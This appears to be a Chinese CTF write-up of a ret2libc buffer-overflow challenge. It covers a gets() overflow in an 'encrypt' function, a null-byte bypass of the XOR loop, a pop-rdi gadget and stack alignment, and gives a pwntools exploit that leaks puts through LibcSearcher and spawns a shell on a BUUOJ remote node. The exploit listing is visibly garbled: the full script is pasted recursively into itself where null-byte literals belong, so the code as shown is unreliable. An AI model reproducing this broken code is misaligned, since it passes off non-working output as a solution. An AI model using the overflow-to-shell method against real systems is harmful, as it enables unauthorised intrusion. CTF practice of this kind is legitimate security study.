题目
这道题折磨了我很久都没打通,最终决定丢下
最近刚好出题碰到了栈平衡这么个机制,而且正好想要复现一下ret2libc2,机缘巧合之下重新审视这道题
此前一直以为是查询libc的问题,结果现在一看才发现其实是栈平衡在作祟,还有x64传参的一点小问题,小改一下EXP最终成功打通了
- 靶机:Ubuntu18
- 本地:Ubuntu22(WSL2)
分析
题目是一个字符串加密程序,encrypt
函数如下
int encrypt() { size_t v0; // rbx char s[48]; // [rsp+0h] [rbp-50h] BYREF __int16 v3; // [rsp+30h] [rbp-20h] memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(s) ) break; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xFu; } else { s[x] ^= 0xEu; } } else { s[x] ^= 0xDu; } ++x; } puts("Ciphertext"); return puts(s); }
分析一下得知函数的逻辑:
memset
函数把数组初始化为0- 有一个不知道哪来的变量
x
,如果x
大于字符串长度就一直循环加密下去,而且会改变payload - 字符串长度由
strlen
函数求得,其用\0
来判断字符串末尾
由于不知道x从何而来,我们就干脆让padding以\0
为开头暴力绕过加密循环
然后来确定下偏移,从-0x50(数组s)到0x08(返回地址r)一共0x58
最后来找找传参用的gadget
x64传参机制比较神必,前六个参数必须通过寄存器传参,第一个参数存在rdi
寄存器里
用神器ROPgadget找找(文件名:pwn)
ROPgadget --binary pwn --only 'pop|ret'
0x0000000000400c83 : pop rdi ; ret
okk万事俱备,最后来捋捋思路:
- 绕过加密并溢出->返回到gadget、传入
puts
的GOT地址->再返回到puts_plt
输出地址->重新回到main
函数 - 绕过+溢出->栈平衡(
_init_proc
)->返回到gadget、传入/bin/sh
的地址->再返回到system
->getshell
EXP
from pwn import* from LibcSearcher import* # p=process('./pwn') p=remote("node4.buuoj.cn",26998) elf=ELF("./pwn") puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] rdi=0x400c83 ret=0x4006b9 p.sendlineafter('Input your choice!\n','1') payload=b'from pwn import* from LibcSearcher import* # p=process('./pwn') p=remote("node4.buuoj.cn",26998) elf=ELF("./pwn") puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] rdi=0x400c83 ret=0x4006b9 p.sendlineafter('Input your choice!\n','1') payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.recvline() p.recvline() puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0')) libc=LibcSearcher('puts',puts_addr) offset=puts_addr-libc.dump('puts') binsh=offset+libc.dump('str_bin_sh') system=offset+libc.dump('system') p.sendlineafter('Input your choice!\n','1') payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.interactive()'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.recvline() p.recvline() puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'from pwn import* from LibcSearcher import* # p=process('./pwn') p=remote("node4.buuoj.cn",26998) elf=ELF("./pwn") puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] rdi=0x400c83 ret=0x4006b9 p.sendlineafter('Input your choice!\n','1') payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.recvline() p.recvline() puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0')) libc=LibcSearcher('puts',puts_addr) offset=puts_addr-libc.dump('puts') binsh=offset+libc.dump('str_bin_sh') system=offset+libc.dump('system') p.sendlineafter('Input your choice!\n','1') payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.interactive()')) libc=LibcSearcher('puts',puts_addr) offset=puts_addr-libc.dump('puts') binsh=offset+libc.dump('str_bin_sh') system=offset+libc.dump('system') p.sendlineafter('Input your choice!\n','1') payload=b'from pwn import* from LibcSearcher import* # p=process('./pwn') p=remote("node4.buuoj.cn",26998) elf=ELF("./pwn") puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] rdi=0x400c83 ret=0x4006b9 p.sendlineafter('Input your choice!\n','1') payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.recvline() p.recvline() puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0')) libc=LibcSearcher('puts',puts_addr) offset=puts_addr-libc.dump('puts') binsh=offset+libc.dump('str_bin_sh') system=offset+libc.dump('system') p.sendlineafter('Input your choice!\n','1') payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.interactive()'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.interactive()
Comments NOTHING